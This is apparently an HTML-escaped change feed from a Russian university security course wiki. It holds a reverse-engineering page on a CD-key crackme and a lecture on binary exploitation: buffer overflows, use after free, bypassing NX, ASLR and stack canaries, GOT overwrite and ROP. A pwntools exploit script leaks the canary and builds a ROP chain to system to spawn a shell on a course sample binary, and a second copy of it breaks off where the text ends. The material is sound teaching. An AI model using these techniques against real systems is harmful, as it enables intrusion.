/lib64/ld-linux-x86-64.so.2&lt;br /&gt;
libcrypto.so.1.0.0&lt;br /&gt;
_ITM_deregisterTMCloneTable&lt;br /&gt;
__gmon_start__&lt;br /&gt;
_Jv_RegisterClasses&lt;br /&gt;
_ITM_registerTMCloneTable&lt;br /&gt;
MD5_Final&lt;br /&gt;
MD5_Init&lt;br /&gt;
MD5_Update&lt;br /&gt;
libc.so.6&lt;br /&gt;
fopen&lt;br /&gt;
__stack_chk_fail&lt;br /&gt;
fgets&lt;br /&gt;
malloc&lt;br /&gt;
stderr&lt;br /&gt;
fwrite&lt;br /&gt;
__sprintf_chk&lt;br /&gt;
__libc_start_main&lt;br /&gt;
free&lt;br /&gt;
GLIBC_2.3.4&lt;br /&gt;
GLIBC_2.4&lt;br /&gt;
GLIBC_2.2.5&lt;br /&gt;
OPENSSL_1.0.0&lt;br /&gt;
D$(1&lt;br /&gt;
T$(dH3&lt;br /&gt;
AUATH&lt;br /&gt;
D$h1&lt;br /&gt;
|$hdH3&amp;lt;%(&lt;br /&gt;
x[]A\A]&lt;br /&gt;
AWAVA&lt;br /&gt;
AUATL&lt;br /&gt;
[]A\A]A^A_&lt;br /&gt;
%02X&lt;br /&gt;
./cd-key.txt&lt;br /&gt;
failed to open CD key file&lt;br /&gt;
failed to read CD key file&lt;br /&gt;
invalid cdkey&lt;br /&gt;
Good job!&lt;br /&gt;
;*3$&amp;quot;&lt;br /&gt;
.shstrtab&lt;br /&gt;
.interp&lt;br /&gt;
.note.ABI-tag&lt;br /&gt;
.gnu.hash&lt;br /&gt;
.dynsym&lt;br /&gt;
.dynstr&lt;br /&gt;
.gnu.version&lt;br /&gt;
.gnu.version_r&lt;br /&gt;
.rela.dyn&lt;br /&gt;
.rela.plt&lt;br /&gt;
.init&lt;br /&gt;
.plt.got&lt;br /&gt;
.text&lt;br /&gt;
.fini&lt;br /&gt;
.rodata&lt;br /&gt;
.eh_frame_hdr&lt;br /&gt;
.eh_frame&lt;br /&gt;
.init_array&lt;br /&gt;
.fini_array&lt;br /&gt;
.jcr&lt;br /&gt;
.dynamic&lt;br /&gt;
.got.plt&lt;br /&gt;
.data&lt;br /&gt;
.bss&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== strace ==&lt;br /&gt;
&lt;br /&gt;
Выводит трассу системных вызовов. Полезно, чтобы определить, какие файлы читает программа, и как вообще взаимодействует с внешним миром (в том числе сеть).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ strace ./reverse_example_1&lt;br /&gt;
...&lt;br /&gt;
openat(AT_FDCWD, &amp;quot;./cd-key.txt&amp;quot;, O_RDONLY) = 3&lt;br /&gt;
fstat(3, {st_mode=S_IFREG|0644, st_size=24, ...}) = 0&lt;br /&gt;
read(3, &amp;quot;AAAAA-BBBBB-CCCCC-DDDDD\n&amp;quot;, 4096) = 24&lt;br /&gt;
write(2, &amp;quot;invalid cdkey\n&amp;quot;, 14)         = 14&lt;br /&gt;
exit_group(1)                           = ?&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== IDA Pro ==&lt;br /&gt;
&lt;br /&gt;
Интерактивный дизассемблер и декомпилятор.&lt;br /&gt;
&lt;br /&gt;
=== Шорткаты ===&lt;br /&gt;
&amp;lt;center style=&amp;quot;font-size: 500%&amp;quot;&amp;gt;&lt;br /&gt;
{{клавиша|F5}}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
==== IDA ====&lt;br /&gt;
* {{клавиша|P}} — создать функцию, начиная с текущей позиции курсора&lt;br /&gt;
* {{клавиша|F5}} — декомпилировать функцию&lt;br /&gt;
* {{клавиша|Enter}} — проследовать по курсору (например, перейти к функции или массиву)&lt;br /&gt;
* {{клавиша|Esc}} — назад (противоположность {{клавиша|Enter}})&lt;br /&gt;
* {{клавиша|X}} — показать ссылки на то, что под курсором (на функцию, переменную, строку, etc.)&lt;br /&gt;
* {{клавиша|C}} — переопределить байты, начиная с курсора, как код.&lt;br /&gt;
* {{клавиша|D}} — переопределить байты, начиная с курсора, как данные (последовательные нажатия переключают размер переменной byte-word-dword(-qword))&lt;br /&gt;
* {{клавиша|A}} — переопределить байты, начиная с курсора, как строку&lt;br /&gt;
* {{клавиша|R}} — переопределить число в инструкции как строку (&amp;lt;code&amp;gt;mov rdx, 335F47414C465Fh&amp;lt;/code&amp;gt; -&amp;gt; &amp;lt;code&amp;gt;mov rdx, &#039;3_GALF_&#039;&amp;lt;/code&amp;gt;)&lt;br /&gt;
Неплохой [https://radare.gitbooks.io/radare2book/content/debugger/migration.html#shortcuts список] из доков по radare2.&lt;br /&gt;
&lt;br /&gt;
==== Hex-Rays ====&lt;br /&gt;
* {{клавиша|N}} — переименовать&lt;br /&gt;
* {{клавиша|Y}} — поменять тип&lt;br /&gt;
** Может показаться, что с помощью {{клавиша|Y}} можно и переименовать, или с помощью {{клавиша|N}} задать тип, однако это не так&lt;br /&gt;
* {{клавиша|Enter}} — проследовать по курсору&lt;br /&gt;
* {{клавиша|Esc}} — назад &lt;br /&gt;
* {{клавиша|Tab}} — перейти к данному месту из декомпилированного в дизассемблированный код и обратно&lt;br /&gt;
&lt;br /&gt;
[https://www.hex-rays.com/products/decompiler/manual/interactive.shtml Полный список] на официальном сайте.&lt;br /&gt;
&lt;br /&gt;
== gdb ==&lt;br /&gt;
&lt;br /&gt;
С &#039;&#039;&#039;gdb&#039;&#039;&#039; можно познакомиться по любому туториалу в интернете.&lt;br /&gt;
&lt;br /&gt;
Однако в отладке приложений без исходников есть некоторая специфика, и тут могут быть особенно полезные такие команды:&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;b * 0x400155&amp;lt;/code&amp;gt; - поставить брэйкпоинт на адрес.&lt;br /&gt;
* &amp;lt;code&amp;gt;p (char*)$rdi&amp;lt;/code&amp;gt; - напечатать как строку содержимое памяти, на которую указывает регистр &amp;lt;code&amp;gt;rdi&amp;lt;/code&amp;gt;. См. также [https://en.wikipedia.org/wiki/X86_calling_conventions#System_V_AMD64_ABI статью про соглашения вызовов на Википедии].&lt;br /&gt;
* &amp;lt;code&amp;gt;help x&amp;lt;/code&amp;gt; - почитать справку по команде &amp;lt;code&amp;gt;x&amp;lt;/code&amp;gt;, которая очень полезна для изучения содержимого памяти.&lt;br /&gt;
* &amp;lt;code&amp;gt;x/10i $pc&amp;lt;/code&amp;gt; - посмотреть несколько инструкций вперед.&lt;br /&gt;
* &amp;lt;code&amp;gt;layout asm&amp;lt;/code&amp;gt; - переключиться в псевдографический режим с листингом ассемблерных команд.&lt;br /&gt;
&lt;br /&gt;
== Примеры с занятия ==&lt;br /&gt;
&lt;br /&gt;
Бинарник, который были рассмотрен на семинаре: [[Media:2023 reverse examples.zip]] (плюс сорцы).&lt;/div&gt;</summary>
		<author><name>WGH</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%A4%D0%B0%D0%B9%D0%BB:2023_reverse_examples.zip&amp;diff=789</id>
		<title>Файл:2023 reverse examples.zip</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%A4%D0%B0%D0%B9%D0%BB:2023_reverse_examples.zip&amp;diff=789"/>
		<updated>2023-10-31T19:24:34Z</updated>

		<summary type="html">&lt;p&gt;WGH: WGH загрузил новую версию Файл:2023 reverse examples.zip&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>WGH</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%A4%D0%B0%D0%B9%D0%BB:2023_reverse_examples.zip&amp;diff=788</id>
		<title>Файл:2023 reverse examples.zip</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%A4%D0%B0%D0%B9%D0%BB:2023_reverse_examples.zip&amp;diff=788"/>
		<updated>2023-10-30T09:05:34Z</updated>

		<summary type="html">&lt;p&gt;WGH: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>WGH</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D1%83%D1%8E_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_(2019)/%D0%91%D0%B8%D0%BD%D0%B0%D1%80%D0%BD%D0%B0%D1%8F_%D1%8D%D0%BA%D1%81%D0%BF%D0%BB%D1%83%D0%B0%D1%82%D0%B0%D1%86%D0%B8%D1%8F&amp;diff=264</id>
		<title>Введение в практическую безопасность (2019)/Бинарная эксплуатация</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D1%83%D1%8E_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_(2019)/%D0%91%D0%B8%D0%BD%D0%B0%D1%80%D0%BD%D0%B0%D1%8F_%D1%8D%D0%BA%D1%81%D0%BF%D0%BB%D1%83%D0%B0%D1%82%D0%B0%D1%86%D0%B8%D1%8F&amp;diff=264"/>
		<updated>2019-04-14T20:58:31Z</updated>

		<summary type="html">&lt;p&gt;WGH: /* ASLR */ nm чтобы получить смещения функций в библиотеках&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Уязвимости ==&lt;br /&gt;
&lt;br /&gt;
=== Переполнение буфера ===&lt;br /&gt;
Переполнение буфера (buffer overflow) происходит, когда программа не проверяет размер буфера должным образом при записи в него. Например, так делает печально известные функции &amp;lt;code&amp;gt;gets&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;strcpy&amp;lt;/code&amp;gt;, а также такое встречается и в пользовательском коде.&lt;br /&gt;
&lt;br /&gt;
Техника эксплуатации сильно зависит от того, где произошло переполнение.&lt;br /&gt;
&lt;br /&gt;
* Стек - интересными объектами являются адрес возврата функции (для return-to-xxx, ROP), сохраненные регистры (RBP для проведения stack pivot), соседние переменные.&lt;br /&gt;
* Глобальные переменные - соседние глобальные переменные, а в случае переполнения назад (underwrite) - GOT.&lt;br /&gt;
* Куча - соседние аллокации памяти, а также внутренние структуры данных, используемая аллокатором&amp;lt;ref&amp;gt;https://sourceware.org/glibc/wiki/MallocInternals&amp;lt;/ref&amp;gt;&amp;lt;ref&amp;gt;https://github.com/shellphish/how2heap&amp;lt;/ref&amp;gt;&amp;lt;ref&amp;gt;Техники эксплуатации структур данных аллокатора не рассматриваются на этом спецкурсе.&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== Buffer over-read ===&lt;br /&gt;
&lt;br /&gt;
Очень похоже по своей сути на переполнение буфера, однако при этом содержимое памяти за пределами буфера выводится пользователю.&lt;br /&gt;
&lt;br /&gt;
Обычно не приводит к чему-либо серьезному само по себе, однако может использоваться для обхода ASLR с целью эксплуатации других уязвимостей. А ещё см. нашумевший баг [[wikipedia:Heartbleed]].&lt;br /&gt;
&lt;br /&gt;
=== Uninitialized memory read ===&lt;br /&gt;
&lt;br /&gt;
Как следует из названия, чтение неинициализованной памяти. Как и в случае buffer over-read, там можно найти интересные данные.&lt;br /&gt;
&lt;br /&gt;
=== Integer overflow ===&lt;br /&gt;
&lt;br /&gt;
Целочисленное переполнение является опасной уззвимостью, когда переполнение происходит при рассчете размера для выделения памяти.&lt;br /&gt;
&lt;br /&gt;
В следующем примере сумма &amp;lt;code&amp;gt;len1+len2&amp;lt;/code&amp;gt; может переполниться таким образом, что len1 &amp;gt; len1 + len2 (https://ideone.com/qU4csI):&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int foo(int fd) {&lt;br /&gt;
    size_t len1 = read_size(fd);&lt;br /&gt;
    size_t len2 = read_size(fd);&lt;br /&gt;
    char *buf = malloc(len1+len2);&lt;br /&gt;
    read_data(fd, buf, len1);&lt;br /&gt;
    read_data(fd, buf+len1, len2);&lt;br /&gt;
    // ...&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Поэтому &amp;lt;code&amp;gt;read_data&amp;lt;/code&amp;gt; может записать в буфер больше данных, чем доступно памяти в буфере, и затереть таким образом соседние объекты на куче.&lt;br /&gt;
&lt;br /&gt;
Похожая проблема возникает при умножении и даже при неаккуратном прибавлении константного числа.&lt;br /&gt;
&lt;br /&gt;
=== Use after free ===&lt;br /&gt;
&lt;br /&gt;
Как и следует из названия, эта уязвимость возникает, когда память, выделанная &amp;lt;code&amp;gt;malloc&amp;lt;/code&amp;gt;, используется после освобождения.&lt;br /&gt;
&lt;br /&gt;
Наиболее серьезные последствия это несет, когда память содержит указатели: часто можно выделить на месте освобожденной памяти строку такого же размера, содержащую в себе запакованный указатель, и получить произвольное чтение или запись по абсолютному адресу.&lt;br /&gt;
&lt;br /&gt;
== Средства защиты ==&lt;br /&gt;
В программах на языках C и C++, скомпилированных современными компиляторами и работающих на современных ОС, присутствует большое число противодействий бинарным уязвимостям (mitigations).&lt;br /&gt;
&lt;br /&gt;
=== No execute (NX) ===&lt;br /&gt;
&lt;br /&gt;
Средства ОС и процессора позволяют гибко настраивать права доступа на страницы виртуальной памяти. Эти права доступа позволяют запрещать выполнять данные как инструкции процессора. Напрмер, даже если записать шеллкод на стек, в память, выделенную через &amp;lt;code&amp;gt;malloc&amp;lt;/code&amp;gt; или в статический глобальный буфер, при попытке выполнить этот код произойдет &amp;lt;code&amp;gt;SIGSEGV&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
На уровне пользовательской программы это реализовано флагом &amp;lt;code&amp;gt;prot&amp;lt;/code&amp;gt; в системных вызовах &amp;lt;code&amp;gt;mmap&amp;lt;/code&amp;gt; и &amp;lt;code&amp;gt;mprotect&amp;lt;/code&amp;gt;. Сам пользовательский код редко использует эти системные вызовы напрямую: ядро системы, динамический загрузчик (&amp;lt;code&amp;gt;ld.so&amp;lt;/code&amp;gt;) и libc сами выделяют память с правильными правами доступа.&lt;br /&gt;
&lt;br /&gt;
Фактически это означает, что чтобы в таких условиях добиться выполнения произвольного кода (или хотя бы выходящего за спецификацию исходной программы), придется провести атаку переиспользования кода (code reuse) в том или ином виде. Например, переписать указатель на какую-то безобидную функцую на &amp;lt;code&amp;gt;system&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Посмотреть карту виртуальной памяти запущенного процесса можно при помощи программы &amp;lt;code&amp;gt;pmap&amp;lt;/code&amp;gt;, команды &amp;lt;code&amp;gt;info proc mappings&amp;lt;/code&amp;gt; в GDB, или &amp;lt;code&amp;gt;vmmap&amp;lt;/code&amp;gt; в GDB+PEDA.&lt;br /&gt;
&lt;br /&gt;
* https://en.wikipedia.org/wiki/NX_bit&lt;br /&gt;
&lt;br /&gt;
=== ASLR ===&lt;br /&gt;
&lt;br /&gt;
Чтобы затруднить атаки класса переиспользования кода (code reuse), такие как возврат в libc, адреса стека, кучи, и загрузки библиотек рандомизируются при каждом запуске программы. Это называется address space layout randomization.&lt;br /&gt;
&lt;br /&gt;
Например, если в программе есть уязвимость, позволяющая переписать указатель на функцию, вы не можете записать туда адрес функции &amp;lt;code&amp;gt;system&amp;lt;/code&amp;gt; просто потому, что вы не знаете адрес этой функции. Похожая ситуация будет, если есть указатель на какую-то структуру (например, содержащую в себе флаг &amp;lt;code&amp;gt;is_admin&amp;lt;/code&amp;gt;): возможно вы и можете создать фейковую структуру с правильными полями на стеке, но вы не знаете, по какому адресу она окажется, чтобы записать этот адрес в тот указатель.&lt;br /&gt;
&lt;br /&gt;
Как и многие другие защиты, ASLR не является абсолютной. Если в программе есть баг, позволяющий читать память за границей массива на стеке, с большой вероятностью вы там найдете адрес, ведущий в libc. Например, функция &amp;lt;code&amp;gt;main&amp;lt;/code&amp;gt; возвращается куда-то в недра &amp;lt;code&amp;gt;__libc_start_main&amp;lt;/code&amp;gt;, и если получится узнать адрес возврата, то посчитав смещение этого места относительно начала libc (для этой конкретной версии libc!), вы сможете узнать адрес загрузки библиотеки - и, соответственно, адреса всех функций, смещения которых фиксированы относительно базового адреса загрузки.&lt;br /&gt;
&lt;br /&gt;
Вы можете посмотреть смещения функций в библиотеке при помощи команды &amp;lt;code&amp;gt;nm&amp;lt;/code&amp;gt; или pwntools:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ nm -D ./libc.so.6 | egrep &#039; (malloc|system)$&#039;&lt;br /&gt;
0000000000084130 T malloc&lt;br /&gt;
0000000000045390 W system&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
In [1]: from pwn import *&lt;br /&gt;
&lt;br /&gt;
In [2]: libc = ELF(&amp;quot;../pwn_tasks/libc.so.6&amp;quot;)&lt;br /&gt;
[*] &#039;/home/wgh/secsem2019/pwn_tasks/libc.so.6&#039;&lt;br /&gt;
    Arch:     amd64-64-little&lt;br /&gt;
    RELRO:    Partial RELRO&lt;br /&gt;
    Stack:    Canary found&lt;br /&gt;
    NX:       NX enabled&lt;br /&gt;
    PIE:      PIE enabled&lt;br /&gt;
&lt;br /&gt;
In [3]: print(hex(libc.sym[&amp;quot;system&amp;quot;]))&lt;br /&gt;
0x45390&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Начиная с примерно 2018 года большинство дистрибутивов Linux стали компилировать программы в режиме PIE (position-independent executable), позволяющие ОС и загрузчику рандомизировать также адрес загрузки самого бинаря, который до этого был всегда фиксировано &amp;lt;code&amp;gt;0x00400000&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Проверить наличие PIE можно при помощи следующей команды pwntools. ASLR же для стека, кучи и библиотек при этом присутствует в любом случае.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ pwn checksec /bin/bash&lt;br /&gt;
[*] &#039;/bin/bash&#039;&lt;br /&gt;
    Arch:     amd64-64-little&lt;br /&gt;
    RELRO:    Partial RELRO&lt;br /&gt;
    Stack:    Canary found&lt;br /&gt;
    NX:       NX enabled&lt;br /&gt;
    PIE:      PIE enabled&lt;br /&gt;
    FORTIFY:  Enabled&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* https://en.wikipedia.org/wiki/Address_space_layout_randomization&lt;br /&gt;
&lt;br /&gt;
=== Stack canary ===&lt;br /&gt;
Stack canary (&amp;lt;code&amp;gt;-fstack-protector&amp;lt;/code&amp;gt;, stack smashing protector) - один из способов защиты от переполнения буфера на стеке.&lt;br /&gt;
&lt;br /&gt;
При переполнении буфера освовную опасность представляет перезапись адреса возврата функции. От этого канарейка и защищает.&lt;br /&gt;
&lt;br /&gt;
В прологе функции за адресом возврата&amp;lt;ref&amp;gt;Иногда и перед потенциально опасными локальными переменными, как то указатели на функции.&amp;lt;/ref&amp;gt; на стек сохраняется специальное секретное значение, которое проверяется при выходе из функции. Если оно изменилось, то значит произошло переполнение буфера на стеке, и программа немедленно завершается, не выполняя инструкцию ret.&lt;br /&gt;
&lt;br /&gt;
В glibc канарейка генерируется один раз при запуске программы, и никогда не меняется. Если есть уязвимость, позволяющая прочесть значение канарейки, то её можно обойти, просто записывая поверх канарейки её значение. Однако алгоритм генерации всегда включает в значение нулевой байт, что может усложнить эксплуатацию при помощи строковых функций типа &amp;lt;code&amp;gt;strcpy&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
В HexRays проверка канарейки декомпилируется неправильно. Но всегда, когда вы видите &amp;lt;code&amp;gt;__readfsqword(0x28u)&amp;lt;/code&amp;gt;, можете быть увереными, что это оно. Если хотите посмотреть корректный код, смотрите дизассемблер.&lt;br /&gt;
&lt;br /&gt;
* https://wiki.osdev.org/Stack_Smashing_Protector&lt;br /&gt;
&lt;br /&gt;
== Техники эксплуатации ==&lt;br /&gt;
&lt;br /&gt;
=== Перезапись GOT ===&lt;br /&gt;
В динамических слинкованных бинарях для вызова фунций из библиотек (libc и другие) используется специальная таблица GOT (global offset table).&lt;br /&gt;
&lt;br /&gt;
Эта таблица содержит адреса библиотечных функций, которые требуются данной программе&amp;lt;ref&amp;gt;Библиотеки тоже могут использовать функции из других библиотек, у них тоже есть такая таблица.&amp;lt;/ref&amp;gt;. Эта таблица заполняется динамических загрузчиком (ld.so, dynamic linker/loader). По умолчанию эта таблица заполняется лениво: вместо адресов целевых функций там лежат адреса заглушек, которые вызывают динамический загрузчик, который в свою очередь заносит в таблицу уже адрес нужной функции и передает управление на неё. При последующих вызовах функция уже будет вызываться непосредственно, без загрузчика.&lt;br /&gt;
&lt;br /&gt;
Поскольку такая ленивость предполагает доступ к этой таблице на запись во время работы программы, записи в ней очень удобно переписывать в процессе эксплуатации. Основными претендентами являются функции, принимающие первым аргументом указатель на контролируемую пользователем строку, типа &amp;lt;code&amp;gt;free&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;strlen&amp;lt;/code&amp;gt;, и т.д.: их удобно переписывать на адрес &amp;lt;code&amp;gt;system&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Также бывает полезно читать данные оттуда для получения смещения libc и обхода ASLR таким образом.&lt;br /&gt;
&lt;br /&gt;
Так как GOT обычно находится перед секциями &amp;lt;code&amp;gt;.data&amp;lt;/code&amp;gt; и &amp;lt;code&amp;gt;.bss&amp;lt;/code&amp;gt;, в эту таблицу можно попасть по отрицательным смещениям относительно глобальных переменных, также через arbitrary read/write по произвольному абсолютному адресу.&lt;br /&gt;
&lt;br /&gt;
Опционально при компиляции можно включить защиту RELRO, которая делает эту таблицу неленивой и недоступной для запись. Уровень защиты можно проверить при помощи checksec (Partial RELRO с точки зрения эксплуатации не отличается от отсутствия RELRO, защиту обеспечивает только Full RELRO):&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
% ~/.local/bin/pwn checksec /bin/cat&lt;br /&gt;
[*] &#039;/bin/cat&#039;&lt;br /&gt;
    Arch:     amd64-64-little&lt;br /&gt;
    RELRO:    Partial RELRO&lt;br /&gt;
    Stack:    Canary found&lt;br /&gt;
    NX:       NX enabled&lt;br /&gt;
    PIE:      PIE enabled&lt;br /&gt;
    FORTIFY:  Enabled&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* https://github.com/Gallopsled/pwntools-tutorial/tree/master/walkthrough/elf-symbols-got-overwrite&lt;br /&gt;
&lt;br /&gt;
=== Return-oriented programming ===&lt;br /&gt;
&lt;br /&gt;
Return-oriented programming (ROP) - популярная техника эксплуатации переполнения буфера на стеке.&lt;br /&gt;
&lt;br /&gt;
В самом простом варианте эксплуатации такого переполнения переписывается только адрес возврата функции. Однако такое не позволяет вызвать функцию с произвольными параметрами, можно лишь передавать управление на готовые куски кода. Это само по себе неплохо, если есть хорошие места в программе или в библиотеках (см. [https://github.com/david942j/one_gadget one gadget RCE] в libc).&lt;br /&gt;
&lt;br /&gt;
Но можно пойти дальше. Если есть возможность переписать и после адреса возврата, туда можно записать адреса т.н. гаджетов - последовательностей инструкций, заканчивающихся на &amp;lt;code&amp;gt;ret&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Эти гаджеты можно находить при помощи программ ropper, ROPGadget, и других. Эти программы позволяют находить гаджеты, которые не видны при простом дизассемблировании, т.к. как они могут начинаться на середине инструкции:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ ~/.local/bin/pwn disasm -c amd64 5FC3&lt;br /&gt;
   0:    5f                       pop    rdi&lt;br /&gt;
   1:    c3                       ret&lt;br /&gt;
$ ~/.local/bin/pwn disasm -c amd64 415FC3&lt;br /&gt;
   0:    41 5f                    pop    r15&lt;br /&gt;
   2:    c3                       ret&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ ~/.local/bin/ropper --file example_1.5_gets&lt;br /&gt;
...&lt;br /&gt;
0x0000000000400ba3: pop rdi; ret;&lt;br /&gt;
0x0000000000400ba1: pop rsi; pop r15; ret;&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Например, нужно вызвать функцию по адресу &amp;lt;code&amp;gt;0xdeadbeef&amp;lt;/code&amp;gt; функцию с аргументами 1 и 2. Тогда на стек, начиная с адреса возврата, нужно записать такие 64-битные числа: &amp;lt;code&amp;gt;0x0000000000400ba3, 0x1, 0x0000000000400ba1, 0x2, 0x1337, 0xdeadbeef&amp;lt;/code&amp;gt;. Для понимания, как это работает, нужно отследить как меняется RSP по мере выполнения инструкций &amp;lt;code&amp;gt;ret&amp;lt;/code&amp;gt; и &amp;lt;code&amp;gt;pop&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* https://en.wikipedia.org/wiki/Return-oriented_programming&lt;br /&gt;
* https://en.wikipedia.org/wiki/X86_calling_conventions#System_V_AMD64_ABI - какие регистры используются при вызове функций.&lt;br /&gt;
&lt;br /&gt;
==== Пример эксплоита ====&lt;br /&gt;
&lt;br /&gt;
Эксплоит для ./example_1.5_gets:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#!/usr/bin/env python2&lt;br /&gt;
&lt;br /&gt;
from pwn import *&lt;br /&gt;
&lt;br /&gt;
# http://docs.pwntools.com/en/stable/context.html#pwnlib.context.ContextType.terminal&lt;br /&gt;
# or just run in tmux and everything will work&lt;br /&gt;
context.terminal = [&amp;quot;xterm&amp;quot;, &amp;quot;-e&amp;quot;]&lt;br /&gt;
&lt;br /&gt;
p = process([&amp;quot;stdbuf&amp;quot;, &amp;quot;-i0&amp;quot;, &amp;quot;-o0&amp;quot;, &amp;quot;./example_1.5_gets&amp;quot;])&lt;br /&gt;
&lt;br /&gt;
gdb.attach(p,&lt;br /&gt;
    &amp;quot;b * 0x400B2D&amp;quot;        &lt;br /&gt;
)&lt;br /&gt;
&lt;br /&gt;
p.sendline(&amp;quot;128&amp;quot;)&lt;br /&gt;
p.sendline(&amp;quot;aaaa&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
#p.interactive()&lt;br /&gt;
&lt;br /&gt;
p.recvuntil(&amp;quot;Hello, &amp;quot;)&lt;br /&gt;
&lt;br /&gt;
data = p.recvuntil(&amp;quot;Enter password&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
print hexdump(data)&lt;br /&gt;
&lt;br /&gt;
canary = data[40:48]&lt;br /&gt;
&lt;br /&gt;
payload = &amp;quot;&amp;quot;&lt;br /&gt;
payload += &amp;quot;A&amp;quot; * 40&lt;br /&gt;
payload += canary&lt;br /&gt;
payload += &amp;quot;A&amp;quot; * 24&lt;br /&gt;
    &lt;br /&gt;
payload += p64(0x0000000000400ba3) # pop rdi&lt;br /&gt;
payload += p64(0x6020B0) # -&amp;gt; rdi&lt;br /&gt;
payload += p64(0x4009B0) # read_line&lt;br /&gt;
payload += p64(0x0000000000400ba3) # pop rdi&lt;br /&gt;
payload += p64(0x6020B0) # -&amp;gt; rdi&lt;br /&gt;
payload += p64(0x400B33) # system&lt;br /&gt;
&lt;br /&gt;
p.sendline(payload)&lt;br /&gt;
&lt;br /&gt;
p.sendline(&amp;quot;sh&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
p.sendline(&amp;quot;id&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
p.interactive()&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Инструменты ==&lt;br /&gt;
&lt;br /&gt;
=== pwntools ===&lt;br /&gt;
&lt;br /&gt;
pwntools - удобная библиотека-фреймворк для написания эксплоитов.&lt;br /&gt;
&lt;br /&gt;
http://docs.pwntools.com/en/stable/index.html&lt;br /&gt;
&lt;br /&gt;
Эксплоит для примера &amp;lt;code&amp;gt;example_1.5_gets&amp;lt;/code&amp;gt;, разбираемого на задании ([[Media:2019 pwn samples.zip]]):&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#!/usr/bin/env python2&lt;br /&gt;
&lt;br /&gt;
from pwn import *&lt;br /&gt;
&lt;br /&gt;
# http://docs.pwntools.com/en/stable/context.html#pwnlib.context.ContextType.terminal&lt;br /&gt;
# or just run in tmux and everything will work&lt;br /&gt;
#context.terminal = [&amp;quot;xterm&amp;quot;, &amp;quot;-e&amp;quot;]&lt;br /&gt;
&lt;br /&gt;
p = process([&amp;quot;stdbuf&amp;quot;, &amp;quot;-i0&amp;quot;, &amp;quot;-o0&amp;quot;, &amp;quot;./example_1.5_gets&amp;quot;])&lt;br /&gt;
&lt;br /&gt;
#gdb.attach(p) # &amp;lt;- uncomment to enable debugger&lt;br /&gt;
&lt;br /&gt;
p.sendline(&amp;quot;128&amp;quot;)&lt;br /&gt;
p.sendline(&amp;quot;aaaa&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
#p.interactive()&lt;br /&gt;
&lt;br /&gt;
